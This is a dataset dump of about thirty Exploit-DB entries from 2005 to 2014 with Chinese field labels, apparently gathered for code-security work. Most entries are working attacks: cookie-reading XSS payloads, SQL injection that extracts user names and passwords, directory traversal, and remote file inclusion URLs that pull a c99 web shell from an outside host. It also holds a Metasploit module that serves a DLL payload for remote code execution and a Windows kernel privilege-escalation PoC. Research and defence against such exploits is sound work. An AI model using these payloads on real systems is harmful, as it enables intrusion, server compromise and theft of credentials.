QLWD/code_shield huggingface dataset:
标题: mcGallery 1.1 - 'sess.php?lang' Cross-Site Scripting EDB-ID: 31598 CVE: 2008-6211 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/28587/info
  
mcGallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
mcGallery 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/sess.php?lang=<script>alert(document.c-o-o-k-i-e)</script URL: https://www.exploit-db.com/exploits/31598
标题: mcGallery 1.1 - 'index.php?lang' Cross-Site Scripting EDB-ID: 31597 CVE: 2008-6211 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/28587/info
 
mcGallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
mcGallery 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/index.php?lang=<script>alert(document.c-o-o-k-i-e)</script URL: https://www.exploit-db.com/exploits/31597
标题: LANDesk Management Suite 8.80.1.1 - PXE TFTP Service Directory Traversal EDB-ID: 31591 CVE: 2008-6195 类型: REMOTE 平台: LINUX 发布日期: 2008-04-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/28577/info

LANDesk Management Suite is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue allows an attacker to access arbitrary files outside of the TFTP application's root directory. This can expose sensitive information that could help the attacker launch further attacks.

LANDesk Management Suite 8.80.1.1 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31591.zip URL: https://www.exploit-db.com/exploits/31591
标题: Terracotta - 'index.php' Local File Inclusion EDB-ID: 31584 CVE: 2008-6522 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/28550/info

Terracotta is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.

http://www.example.com/index.php?CurrentDirectory=FOLDER_420c142a1bebd1.90885049/../../../../../../../../../etc/&StartAt=12 URL: https://www.exploit-db.com/exploits/31584
标题: EasySite 2.0 - 'browser.php' Remote File Inclusion EDB-ID: 31587 CVE: 2008-6196 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/28563/info

EasySite is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

EasySite 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/Easysite-2.0_path/configuration/browser.php?EASYSITE_BASE=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31587
标题: Microsoft Windows XP/Vista/2000/2003/2008 Kernel - Usermode Callback Privilege Escalation (MS08-025) (1) EDB-ID: 31585 CVE: 2008-1084 类型: DOS 平台: WINDOWS 发布日期: 2008-04-08 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/28554/info

Microsoft Windows is prone to a local privilege-escalation vulnerability.

The vulnerability resides in the Windows kernel. A locally logged-in user can exploit this issue to gain kernel-level access to the operating system.
*/


#include 
#include 

int main(int argc,char *argv[])
{
    DWORD    dwHookAddress = 0x80000000;

    printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
        printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/04/10\n" );

    SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
    return 0;
} URL: https://www.exploit-db.com/exploits/31585
标题: Joomla! / Mambo Component Showroom Joomlearn LMS - 'cat' SQL Injection EDB-ID: 31595 CVE: 2008-4777 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/28586/info

The Joomlearn LMS component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_lms&task=showTests&cat=-1 union select 1,concat(username,char(32),password),3,4,5,6,7 from jos_users/* URL: https://www.exploit-db.com/exploits/31595
标题: DivXDB 2002 0.94b - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31590 CVE: 2008-1800 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/28566/info

DivXDB 2002 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

DivXDB 2002 0.94b is vulnerable; other versions may also be affected.

http://www.example.com/index.php?choice="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?choice=14&_page_="><script>alert("CANAKKALE-GECiLMEZ")</script>&year_inf=1998&year_sup=2008 http://www.example.com/index.php?_page_="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&zone_admin="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&general_search=1&object="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&general_search="><script>alert("CANAKKALE-GECiLMEZ")</script>&object= http://www.example.com/index.php?_page_=main.html&import="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/index.php?_page_=main.html&choice="><script>alert("CANAKKALE-GECiLMEZ")</script> URL: https://www.exploit-db.com/exploits/31590
标题: EasySite 2.0 - 'image_editor.php' Remote File Inclusion EDB-ID: 31588 CVE: 2008-6196 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/28563/info
 
EasySite is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
EasySite 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/Easysite-2.0_path/configuration/image_editor.php?EASYSITE_BASE=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31588
标题: EasySite 2.0 - 'skin_chooser.php' Remote File Inclusion EDB-ID: 31589 CVE: 2008-6196 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/28563/info
  
EasySite is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
EasySite 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/Easysite-2.0_path/configuration/skin_chooser.php?EASYSITE_BASE=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31589
标题: mcGallery 1.1 - 'admin.php?lang' Cross-Site Scripting EDB-ID: 31596 CVE: 2008-6211 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/28587/info

mcGallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

mcGallery 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/admin.php?lang=<script>alert(document.c-o-o-k-i-e)</script> URL: https://www.exploit-db.com/exploits/31596
标题: Jax Guestbook 3.31/3.50 - 'jax_Guestbook.php' Cross-Site Scripting EDB-ID: 31580 CVE: 2005-4879 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/28523/info

Jax Guestbook is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/scripting/php/guestbook/guestbook/jax_guestbook.php?language="><script>alert()</script> URL: https://www.exploit-db.com/exploits/31580
标题: PHPGKit 0.9 - 'connexion.php' Remote File Inclusion EDB-ID: 31581 CVE: 2008-6491 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/28526/info

PhpGKit is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

PhpGKit 0.9 is vulnerable; other versions may also be affected.

http://www.example.com/phpg_kit_path/connexion.php?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31581
标题: EfesTECH Video 5.0 - 'catID' SQL Injection EDB-ID: 31582 CVE: 2008-1641 类型: WEBAPPS 平台: ASP 发布日期: 2008-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/28532/info

EfesTECH Video is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

EfesTECH Video 5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/default.asp?catID=-1%20union%20select%200,kullanici,eposta,3,4,5,sifre,7,8,9,10,11,12,13%20from%20uyeler URL: https://www.exploit-db.com/exploits/31582
标题: WordPress Plugin BuddyPress 1.9.1 - Privilege Escalation EDB-ID: 31571 CVE: 2014-1889 类型: WEBAPPS 平台: PHP 发布日期: 2014-02-11 漏洞利用脚本: # Exploit Title: Wordpress plugin Buddypress <= 1.9.1 privilege escalation
# Date: 11/02/2014
# Exploit Author: Pietro Oliva
# Vendor Homepage: http://buddypress.org
# Software Link: http://downloads.wordpress.org/plugin/buddypress.1.9.1.zip
# Version: 1.9.1
# CVE : [CVE-2014-1889]
# Vulnerability patched in version 1.9.2

it is possible to perform a privilege escalation attack due to a lack of
permissions check in the group creation process. A malicious user could
exploit this vulnerability to take control of every group (change name,
description, avatar and settings).
To exploit this vulnerability you have to follow these steps:

1) Create a cookie named bp_new_group_id=<id_of_victim_group>
2) Visit the url http://example.com/groups/create/step/group-details/
3) Enjoy the power URL: https://www.exploit-db.com/exploits/31571
标题: @lex Poll 1.2 - 'setup.php' Cross-Site Scripting EDB-ID: 31567 CVE: 2008-7141 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/28520/info

@lex Poll is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

@lex Poll 2.1 is vulnerable; other versions may also be affected.

http://www.example.com/alex_poll2/setup.php?language_setup="><script>alert("CANAKKALE-GECiLMEZ")</script> URL: https://www.exploit-db.com/exploits/31567
标题: KingScada - kxClientDownload.ocx ActiveX Remote Code Execution (Metasploit) EDB-ID: 31575 CVE: 2013-2827 类型: REMOTE 平台: WINDOWS 发布日期: 2014-02-11 漏洞利用脚本: ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution',
      'Description'    => %q{
        This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.
        The ProjectURL property can be abused to download and load arbitrary DLLs from
        arbitrary locations, leading to arbitrary code execution, because of a dangerous
        usage of LoadLibrary. Due to the nature of the vulnerability, this module will work
        only when Protected Mode is not present or not enabled.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Andrea Micalizzi',  # aka rgod original discovery
          'juan vazquez'       # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2013-2827'],
          ['OSVDB', '102135'],
          ['BID', '64941'],
          ['ZDI', '14-011'],
          ['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01']
        ],
      'DefaultOptions' =>
        {
          'InitialAutoRunScript' => 'migrate -f',
        },
      'BrowserRequirements' =>
        {
          :source      => /script|headers/i,
          :os_name     => Msf::OperatingSystems::WINDOWS,
          :ua_name     => /MSIE|KXCLIE/i
        },
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500,
          'DisableNopes'    => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 14 2014'))
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Requested: #{request.uri}")

    if request.uri =~ /\/libs\/.*\.dll/
      print_good("Sending DLL payload")
      send_response(cli,
        generate_payload_dll(:code => get_payload(cli, target_info)),
        'Content-Type' => 'application/octet-stream'
      )
      return
    elsif request.uri =~ /\/libs\//
      print_status("Sending not found")
      send_not_found(cli)
      return
    end

    content = <<-EOS
<html>
<body>
<object classid='clsid:1A90B808-6EEF-40FF-A94C-D7C43C847A9F' id='#{rand_text_alpha(10 + rand(10))}'>
<param name="ProjectURL" value="#{get_module_uri}"></param>
</object>
</body>
</html>
    EOS

    print_status("Sending #{self.name}")
    send_response_html(cli, content)
  end

end URL: https://www.exploit-db.com/exploits/31575
标题: @lex Guestbook 4.0.5 - 'setup.php?language_setup' Cross-Site Scripting EDB-ID: 31565 CVE: 2008-7140 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/28519/info

@lex Guestbook is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

@lex Guestbook 4.0.5 is vulnerable; other versions may also be affected.

UPDATE (April 25, 2008): The vendor indicates that the 'test' parameter is a user-defined parameter and is not vulnerable. 

http://www.example.com/alexguestbook4/setup.php?language_setup="><script>alert()</script> URL: https://www.exploit-db.com/exploits/31565
标题: Wireshark 0.99.8 - SCCP Dissector Decode As Feature Denial of Service EDB-ID: 31554 CVE: 2008-1563 类型: DOS 平台: LINUX 发布日期: 2008-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/28485/info
  
Wireshark is prone to multiple denial-of-service vulnerabilities.
  
Exploiting these issues may allow attackers to cause crashes and deny service to legitimate users of the application. Attackers may be able to leverage some of these vulnerabilities to execute arbitrary code, but this has not been confirmed.
  
These issues affect Wireshark 0.99.2 up to and including 0.99.8.
 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31554.gz URL: https://www.exploit-db.com/exploits/31554
标题: SLmail Pro 6.3.1.0 - Multiple Remote Denial of Service / Memory Corruption Vulnerabilities EDB-ID: 31563 CVE: 2008-1690 类型: DOS 平台: WINDOWS 发布日期: 2008-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/28505/info

SLMail Pro is prone to multiple remote denial-of-service vulnerabilities and memory-corruption vulnerabilities.

Attackers can exploit these issues to crash the application, resulting in denial-of-service conditions. Given the nature of some of these issues, attackers may also be able to execute arbitrary code, but this has not been confirmed.

SLMail Pro 6.3.1.0 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31563.zip URL: https://www.exploit-db.com/exploits/31563
标题: Apache Tomcat 4.0.3 - Requests Containing MS-DOS Device Names Information Disclosure EDB-ID: 31551 CVE: 2005-4703 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-10-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/28484/info

Apache Tomcat is prone to an information-disclosure vulnerability when handling requests that contain MS-DOS device names.

Attackers can leverage this issue to obtain potentially sensitive data that could aid in other attacks.

Tomcat 4.0.3 running on Windows is vulnerable; other versions may also be affected.

The following example request is available:

GET /lpt9.xtp URL: https://www.exploit-db.com/exploits/31551
标题: 2X ThinClientServer 5.0 sp1-r3497 TFTP Service - Directory Traversal EDB-ID: 31562 CVE: 2008-1620 类型: REMOTE 平台: WINDOWS 发布日期: 2008-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/28504/info

2X ThinClientServer is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue allows an attacker to access arbitrary files outside of the TFTP application's root directory. This can expose sensitive information that could help the attacker launch further attacks.

2X ThinClientServer 5.0 sp1-r3497 with TFTPd.exe 3.2.0.0 is vulnerable; other versions may also be affected.

tftpx SERVER .../.../.../.../.../.../boot.ini none
tftpx SERVER ...\...\...\...\...\...\windows\win.ini none URL: https://www.exploit-db.com/exploits/31562
标题: Simple Machines Forum (SMF) 1.1.4 - Multiple Remote File Inclusions EDB-ID: 31555 CVE: 2008-6544 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/28493/info

Simple Machines Forum is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Simple Machines Forum 1.1.4 is vulnerable; other versions may also be affected.

http://www.example.com/Sources/Subs-Graphics.php?settings[default_theme_dir]=http://bilmemne.siz/c99.txt
http://www.example.com/Sources/Themes.php?settings[theme_dir]=http://bilmemne.siz/c99.txt? URL: https://www.exploit-db.com/exploits/31555
标题: Wireshark 0.99.8 - X.509sat Dissector Denial of Service EDB-ID: 31552 CVE: 2008-1561 类型: DOS 平台: LINUX 发布日期: 2008-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/28485/info

Wireshark is prone to multiple denial-of-service vulnerabilities.

Exploiting these issues may allow attackers to cause crashes and deny service to legitimate users of the application. Attackers may be able to leverage some of these vulnerabilities to execute arbitrary code, but this has not been confirmed.

These issues affect Wireshark 0.99.2 up to and including 0.99.8. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31552.pcap URL: https://www.exploit-db.com/exploits/31552
标题: DigiDomain 2.2 - 'suggest_result.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31547 CVE: 2008-1560 类型: WEBAPPS 平台: ASP 发布日期: 2008-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/28475/info
 
DigiDomain is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
DigiDomain 2.2 is vulnerable; other versions may also be affected.

http://www.www.example.com/lookup/suggest_result.asp?domain=.com&tld=&user=&selecte=1&word1=[XSS]&word2=[XSS] URL: https://www.exploit-db.com/exploits/31547
标题: GeeCarts - 'view.php?id' Cross-Site Scripting EDB-ID: 31545 CVE: 2008-1621 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/28470/info
  
GeeCarts is prone to multiple input-validation vulnerabilities, including remote file-include and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site; other attacks are also possible.
  
All versions of GeeCarts are reported vulnerable.

http://www.example.com/view.php?id=[XSS or RFI] URL: https://www.exploit-db.com/exploits/31545
标题: @lex Guestbook 4.0.5 - 'index.php?test' Cross-Site Scripting EDB-ID: 31566 CVE: 2008-7140 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/28519/info
 
@lex Guestbook is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
@lex Guestbook 4.0.5 is vulnerable; other versions may also be affected.
 
UPDATE (April 25, 2008): The vendor indicates that the 'test' parameter is a user-defined parameter and is not vulnerable. 

http://www.example.com/alexguestbook4/index.php?mots_search=&rechercher=Ok&debut=0(=&skin=&test="><script>alert()</script> URL: https://www.exploit-db.com/exploits/31566